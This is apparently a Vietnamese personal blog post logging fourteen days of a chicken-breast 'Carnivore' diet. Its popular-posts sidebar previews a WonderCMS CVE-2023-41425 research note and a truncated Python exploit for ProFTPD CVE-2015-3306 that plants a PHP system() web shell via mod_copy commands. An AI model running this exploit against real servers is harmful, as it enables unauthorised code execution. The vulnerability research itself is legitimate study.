Tập Gym và ăn uống cải thiện cơ bắp

Hôm nay là ngày đầu tiên mình ăn theo chế độ "Carnivore", trông hào hứng phết.

Hôm nay là ngày thứ 2 mình ăn theo chế độ "Carnivore", ức gà ngon thì ngon nhưng mà ăn ngấy quá, hơi khô, hoặc do mình nấu áp chảo nên thế -__-

Hôm nay là ngày thứ 3 mình theo chế độ "Carnivore". Đúng là nên ăn rau nhưng mà ăn ức gà cũng đc, hơi ngấy thôi.

Hôm nay là ngày thứ 4 mình theo chế độ "Carnivore". Hôm nay ăn khoai lang với dưa chuột, ngày xưa thì mình ghét dưa chuột còn giờ thì thấy cũng được, vẫn ko ngon lắm do nhạt nhưng không có ghét như xưa

Hôm nay là ngày thứ 5 mình ăn chế độ "Carnivore". Ai nói ức gà đắt đâu, t mua có 65k/cân thôi. Ăn ngon mồm, chấm muối ớt xanh thế là đủ bữa trưa no bụng.

Hôm nay là ngày thứ 6 mình ăn chế độ "Carnivore". Hôm nay ăn hơi muộn, ngủ tới trưa rồi xách xe lên cơ quan đớp đồ -__-, thế là trưa ko ăn phải để tối ăn.

Hôm nay là ngày thứ 7 mình ăn chế độ "Carnivore". Ai nói ăn ức gà ngán nhỉ, mỗi buổi ăn 600gram ức có nạp nhiều đạm quá không chứ t thấy mình ổn, chỉ là về trưa hơi buồn ngủ thôi. -__-, lâu lâu stress lại lấy bản thân làm bao cát tập luyện :DD

Hôm nay là ngày thứ 8 mình ăn chế độ "Carnivore", ăn muộn quá.

Hôm nay là ngày thứ 9 mình ăn chế độ "Carnivore", ăn cũng muộn quá. ức gà ngon hơn thịt heo nhiều

Hôm nay là ngày thứ 10 mình ăn chế độ "Carnivore", ăn được

Hôm nay là ngày thứ 11 mình ăn chế độ "Carnivore", ăn được

Hôm nay là ngày thứ 12 mình ăn chế độ "Carnivore", bỏ bữa

Hôm nay là ngày thứ 13 mình ăn chế độ "Carnivore", tạm ổn

Hôm nay là ngày thứ 14 mình ăn chế độ "Carnivore", chán quá nên sang đùi gà rồi

Nhận xét

Đăng nhận xét

Bài đăng phổ biến từ blog này

CVE-2023–41425 but only RCE part

Hình ảnh
CVE-2023–41425 Lời nói đầu: Bài viết này có ở đây để mình hiểu sâu hơn về cách tìm lỗi trong các mã nguồn CMS, rất mong được mọi người đón nhận và sửa lỗi nếu có sai sót.  ---------------------------------------------------------------------------------------------------------------------------- Đầu tiên lên nvd.nist.gov để tìm hiểu lỗi. Như trên hình thì nó cho ta biết một lỗi XSS tại version 3.2.0->3.4.2 của Wonder CMS có thể dẫn đến RCE thông qua installModule component. Mình cũng nói trước là mình chỉ research RCE part, còn XSS thì mình sẽ không quan tâm mặc dù nó cũng trong phần Attack Chain Tiến hành download bản lỗi, tại đây mình download bản 3.4.2 cũng tức là bản đang có lỗi này.  Tại dòng 146, mình thấy có hàm installUpdateModuleAction(). Tuy nhiên, dòng 142 cho biết chúng ta phải đăng nhập mới có thể sử dụng tính năng này. -> cần xác thực Vì muốn hiểu cách thức RCE nên mình sẽ bỏ qua phần xác thực, tiến hành đăng nhập luôn Hàm này sẽ hoạt động như nào...
Đọc thêm

CVE-2015-3306

#!/usr/bin/env python3 import sys import socket import requests def exploit ( client , target ):     client .connect(( target , 21 )) # Connecting to the target server     banner = client .recv( 74 )     print ( banner .decode())     client .send( b 'site cpfr /proc/self/cmdline \r\n ' )     print ( client .recv( 1024 ).decode())     client .send( b 'site cpto /tmp/<?php system("id"); ?> \r\n ' ) # phpinfo() is just a PoC.     print ( client .recv( 1024 ).decode())     client .send( b 'site cpfr /tmp/<?php system("id"); ?> \r\n ' )     print ( client .recv( 1024 ).decode())     client .send( b 'site cpto /var/www/html/konchan.php \r\n ' )     print ( client .recv( 1024 ).decode())     client .close()     print ( 'Exploit Completed' ) def check ( url ):     req = requests . get ( url ) # Requesting the written PoC php file via HT...
Đọc thêm